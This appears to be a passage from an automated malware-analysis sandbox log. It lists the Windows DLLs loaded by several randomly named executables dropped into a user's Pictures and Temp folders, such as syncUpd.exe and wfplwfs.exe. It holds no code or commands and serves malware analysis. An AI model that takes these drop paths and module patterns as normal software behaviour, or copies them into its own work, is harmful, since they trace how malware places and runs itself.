Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: netutils.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: winmm.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: umpdc.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: winsta.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: sxs.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: amsi.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: profapi.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: version.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: winmm.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: umpdc.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: winsta.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: sxs.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: amsi.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: profapi.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: version.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: samcli.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: samlib.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: netutils.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: winmm.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: umpdc.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: winsta.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: sxs.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: amsi.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: profapi.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: version.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: propsys.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: oleacc.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: version.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: wldp.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: winmm.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: umpdc.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: winsta.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: sxs.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: amsi.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: profapi.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: version.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\nxFajWDYSB3pQQxmrqt3pD1T.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\nxFajWDYSB3pQQxmrqt3pD1T.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: propsys.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: oleacc.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: version.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: wldp.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: propsys.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: oleacc.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: version.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: wldp.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: winmm.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: umpdc.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: winsta.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: sxs.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: amsi.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: profapi.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: version.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\65bl5N8ldxUdfHpwZdasCC1T.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\65bl5N8ldxUdfHpwZdasCC1T.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Pictures\LEGkdjk2eFexBjdd51KvbC5Q.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\LEGkdjk2eFexBjdd51KvbC5Q.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: propsys.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: oleacc.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: version.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: wldp.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: winmm.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: umpdc.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: winsta.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: sxs.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: amsi.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: profapi.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: version.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: samcli.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: samlib.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: netutils.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: propsys.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: oleacc.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: version.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: kernel.appcore.dll
